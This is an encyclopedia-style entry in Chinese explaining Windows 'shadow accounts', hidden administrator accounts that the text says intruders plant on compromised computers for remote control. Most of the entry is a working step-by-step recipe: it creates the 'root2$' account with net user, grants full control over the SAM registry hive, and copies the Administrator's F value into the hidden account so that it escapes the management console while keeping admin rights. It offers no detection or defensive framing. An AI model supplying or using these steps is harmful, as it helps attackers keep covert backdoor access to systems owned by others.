影子帳戶

定義：影子賬戶，顧名思義就是隱藏的賬戶，在“控制臺-用戶賬戶”裡面是看不見，但卻有管理員許可權的賬戶

可行性：這一概念是隨著windows系統產生的；在黑客技術里與後門安裝技術掛鈎；由於它的隱藏性強，入侵者多在被入侵的電腦里加上這樣的賬戶，用於遠程登錄以便控制客戶機。影子賬戶的創建在windows98\2000\xp系統下是可以實施的，在windowsNT系統下理論上也應該可行，但是由於這類系統的安全機制不同於xp系統，加之該編者本人各方面的局限性，目前還不得知可否創建（以期高手補充）

賬戶的創建：

a.建立隱藏帳戶

點擊“開始”→“運行”，輸入“CMD”運行“命令提示符”，輸入“net user root2$ password /add”，回車，成功後會顯示“命令成功完成”。接著輸入“net localgroup administrators root2$ /add”回車，利用“命令提示符”建立一個用戶名為“root2$”，密碼為“password”的簡單“隱藏賬戶”,並且把該隱藏賬戶提升為了管理員許可權。

進入控制臺的“管理工具”，打開其中的“計算機”，查看其中的“本地用戶和組”，在“用戶”一項中，我們建立的隱藏賬戶“root2$”暴露無疑。

因此這種方法只能將賬戶在“命令提示符”中進行隱藏，而對於“計算機管理”則無能為力。

b.徹底隱藏賬戶

1、給管理員註冊表操作許可權

點擊“開始”→“運行”，輸入“regedt32.exe”後回車（注意：不是regedit.exe)，定位到HKEY_LOCAL_MACHINE\SAM\SAM，點擊右鍵，選擇“許可權”即可。在彈出的“SAM的許可權”編輯視窗中選中“administrators”賬戶，在下方的許可權設定處勾選“完全控制”，完成後點擊“確定”。

2、將隱藏賬戶替換為管理員

點擊“開始”→“運行”，輸入“regedit.exe”後回車（注意：不是regedt32.exe)，定位到“HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names”處，點擊新建的隱藏賬戶“root2$”，在右邊顯示的鍵值中的“類型”一項顯示為0x3eb。

向上來到“HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\”處，將“root2$”的鍵值導出為root2$.reg，同時將“000003EB”和“000001F4”項的F鍵值分別導出為user.reg，admin.reg。用“記事本”打開admin.reg，將其中“F”值後面的內容複製下來，替換user.reg中的“F”值內容，完成後保存。

接下來進入“命令提示符”，輸入“net user root2$ /del”將我們建立的隱藏賬戶刪除。最後，將root2$.reg和user.reg導入註冊表，至此，隱藏賬戶製作完成。

至此，你便看到用戶，但註銷用root2登入，完全就可以登入，而且桌面和administrator一樣！

影子帳戶

基本介紹

相關詞條

熱門詞條